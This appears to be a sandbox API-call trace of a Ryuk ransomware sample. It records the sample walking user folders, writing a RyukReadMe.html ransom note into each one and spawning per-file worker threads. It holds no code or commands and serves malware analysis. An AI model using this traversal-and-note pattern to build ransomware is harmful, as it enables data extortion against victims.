	[0278.071] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0278.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.071] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1
	[0278.071] SetLastError (dwErrCode=0x0) 
	[0278.071] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.071] GetLastError () returned 0xb7
	[0278.071] CloseHandle (hObject=0x8cc) returned 1
	[0278.071] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0278.217] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.217] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1
	[0278.217] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cAlternateFileName="CLICEX~1.MAN")) returned 1
	[0278.217] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x38b0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", cAlternateFileName="GOOGAP~1.CDF")) returned 1
	[0278.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc
	[0278.219] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.220] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", cAlternateFileName="GOOGAP~1.MAN")) returned 1
	[0278.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8
	[0278.222] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.223] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", cAlternateFileName="GOOGAP~1.MAN")) returned 0
	[0278.223] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0278.224] SetLastError (dwErrCode=0x0) 
	[0278.225] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.228] GetLastError () returned 0x0
	[0278.228] WriteFile (in: hFile=0x8cc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0278.230] CloseHandle (hObject=0x8cc) returned 1
	[0278.230] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0
	[0278.230] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0278.230] SetLastError (dwErrCode=0x0) 
	[0278.230] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0278.231] GetLastError () returned 0xb7
	[0278.231] CloseHandle (hObject=0x7f0) returned 1
	[0278.231] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0
	[0278.231] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.231] SetLastError (dwErrCode=0x0) 
	[0278.231] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.232] GetLastError () returned 0xb7
	[0278.232] CloseHandle (hObject=0x874) returned 1
	[0278.232] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.232] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.232] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.232] SetLastError (dwErrCode=0x0) 
	[0278.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.232] GetLastError () returned 0xb7
	[0278.232] CloseHandle (hObject=0x7a8) returned 1
	[0278.233] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.233] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.233] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0278.233] SetLastError (dwErrCode=0x0) 
	[0278.233] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0278.233] GetLastError () returned 0xb7
	[0278.233] CloseHandle (hObject=0x4d4) returned 1
	[0278.233] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0278.234] SetLastError (dwErrCode=0x0) 
	[0278.234] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0278.234] GetLastError () returned 0xb7
	[0278.234] CloseHandle (hObject=0x4d4) returned 1
	[0278.234] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0278.234] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.235] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774ca840, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.235] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774ca840, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.235] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0278.235] SetLastError (dwErrCode=0x0) 
	[0278.235] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0278.235] GetLastError () returned 0xb7
	[0278.235] CloseHandle (hObject=0x4d4) returned 1
	[0278.235] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0278.235] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0278.238] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.238] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0278.238] SetLastError (dwErrCode=0x0) 
	[0278.238] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.239] GetLastError () returned 0xb7
	[0278.239] CloseHandle (hObject=0x7a8) returned 1
	[0278.239] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0278.239] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.239] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0278.239] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b3b8de0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3b8de0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0278.240] SetLastError (dwErrCode=0x0) 
	[0278.240] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.240] GetLastError () returned 0xb7
	[0278.240] CloseHandle (hObject=0x874) returned 1
	[0278.240] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b3b8de0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3b8de0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.240] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b3b8de0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3b8de0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
